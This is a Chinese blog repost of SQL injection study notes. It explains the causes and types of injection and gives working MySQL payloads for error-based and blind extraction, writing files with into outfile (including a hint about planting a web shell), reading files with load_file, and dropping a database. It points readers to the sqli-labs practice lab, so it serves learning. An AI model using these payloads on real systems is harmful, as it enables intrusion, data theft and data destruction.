小言_互联网的博客

sql注入笔记

539人阅读  评论(0)

一.为什么会有sql注入

  • 不当的字符处理
  • 不安全的数据库配置
  • 不合理的查询处理
  • 不当的错误处理

1.不当的字符处理
SQL数据库将单引号解析成了代码与数据的分割线,单引号外面的内容均是需要执行的的代码·。将用户输入直接传递给动态创建的SQL语句,单引号字符会被解析成字符分隔符,并作为代码与字符的分界。
注意:处理数字型数据是不需要使用单引号将数字数据引起来。

2.不安全的数据库配置
SQLSserver经常用“sa”作为数据库管理账户,MySQL使用“root”作为数据库管理账户,Oracle在创建数据库会创建SYS,SYSTEM和OUTLN账户。而一些默认账户会有默认密码。

3.不合理的查询处理
在进行数据库操作时,用户输入的数据没有严格的过滤,用户可以自己构造SQL语句,采用拼接、注释等方式构造SQL语句来执行自己的语句。(万能密码)

4.不当的错误处理
将详细的内部错误信息展示给用户或攻击者,一些错误信息会为攻击者提供网站缺陷或者有关的线索。开发和服务器配置时导致将错误直接回显。


二. SQL注入分类

  1. 以字符类型分类
    数字型:不需要单引号和双引号闭合
    字符型:在注入中考虑引号的闭合和注释
  2. 以注入方式分类
    回显:将构造的SQL语句执行后的结果回显或者报错的形式显示出来。
    盲注:开发时关闭错误显示,输入内容不在页面中展示出来

三.回显注入

  • 回显正常:通过执行构造的SQL语句注入后,页面与原有页面存在差异但没有报错信息。
  • 回显报错:通过执行构造的SQL语句之后,页面报错,且将报错信息显示在页面上。

四.回显报错

count()         select count(*) from table_name    返回表内数据条数
                    select count(*);   select count(222);   返回1
rand()          select rand();   select(数字)      返回随机浮点数数
                    rand(5)=rand(5)
                    select rand(a);             直接报错  unknown column 'a' in 'field list'
                    select rand(a) from table_name;    如果表里有这个列名则返回浮点数,否则报错
                    rand()   默认为0到1     rand()*2     设置为0到2
group by     与order by 类似
  • floor() 报错注入
    报错是因为floor(rand(0)*2)的不确定性,group by floor(rand(0)*2)出现的原因是key是两个随机数,检测临时表key是否存在时计算了一下floor(rand(0)*2)可能为0,也可能为1,就会导致插入时冲突而报错,即检测时和插入时两次计算了随机数的值。

  • extractvalue()函数报错注入
    输入了符合xpath_string格式的字符串导致的报错。

  • 宽字节报错注入
    使用宽字节编码问题。

  • 其他报错注入
    如join报错注入:利用自己join自己,来达到列名相同来爆破名。exp数学中求最小数字的相反数据报错等。

    五.盲注
    我们通常在进行注入时不会有报错返回结果,所以要进行盲注。

  • 布尔值盲注
    and user()=‘root@localhost’
    模糊测试
    and user() like ‘r%’
    可以一位一位测试 可以用burp跑 也可以写脚本…

  • 时间盲注

sleep()    睡眠暂停   若成功执行,返回0   若被中断则返回1  
and sleep(5)      单位为s《设置5比较适中》
看返回结果响应时间  
可以直接数也可以f12查看
if(expr1,expr2,expr3)   如果expr1为真则返回expr2;如果expr1为假则返回expr3
if()  的返回值为数字值或字符串值,具体情况看其所在语境
select if(1,'ture','flase');    返回ture
select if(0,'ture','flase');    返回flase
mid(str,num,num)     mid(字符串,起始位数,查询位数)
select mid('asdf',1,2);      返回as
也可以这样  select mid((select username from admin where id=1),1,1);
select ascii(mid(user(),1,1))=114;    返回1    说明第一位是r
select if(ascii(mid(user(),1,1))=114,sleep(5),1);   如果user()第一位是r则延迟5秒后返回0,如果不是则直接返回1            用and链接

length()     长度函数
select length(user())             14位用户名
and length(user())=a  
select if(ascii(mid(user(),1,1))=114,sleep(5),1)       设置变量burp往出跑
and if(ascii(mid(user(),1,1))=114,sleep(5),1)          类似的也可以爆出其他信息
也可以这样  select if(mid(user(),1,1) like 'r%',sleep(5),1)     设置两个变量继续跑

ps:
暴力猜解
and exists(select * from table_name); 判断是否有table_name表
and exists(select flag from table_name)判断是否有flag字段,将flag作为变量猜解
利用length猜解字段长度
and (select length(flag) form table_name)>5
将数字5作为变量猜解
然后利用ascii码继续猜解
and (select ord(substr(flag,1,1)) from table_name)>97
把97作为变量猜解flag

**写入文件**
1.绝对路径        D:\php\WWW    
2.最高权限   mysql- root     这里不是说你是root用户名就是最高权限了...
union select 1,"hackby123",3 into outfile "D:\\php\\WWW\\1.txt"  
注意写目录时 因为 \ 有转移的意思,所以必须写\\ 或/
就会有一个1.txt的文件    内容为  1 "hackby123" 3
当然union联合查询要与前面的列数保持一致要不然会报错
这里也可以用来写入 一句话......

**读取文件**
load_file()   加载文件
replace()
hex()    转为十六进制防止乱码

事先判断好回显点
union select 1,load_file('D:/php/www/1.txt'),3
会出现文件中内容    一般将D:/php/www/1.txt转为十六进制 
union select 1,load_file(0x443a2f7068702f7777772f312e747874),3
但这样如果文件中有中文或者文件内容过长时会出现乱码
所以转为十六进制,然后再转回字符,就解决了乱码问题
union select 1,hex(load_file(0x443a2f7068702f7777772f312e747874)),3

**删除信息**
select 1,2,3 from news where name='1251';drop database test #'
删除 test 数据库 

推荐sqli_labs练习
转载:https://blog.csdn.net/x519461623/article/details/104535029
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场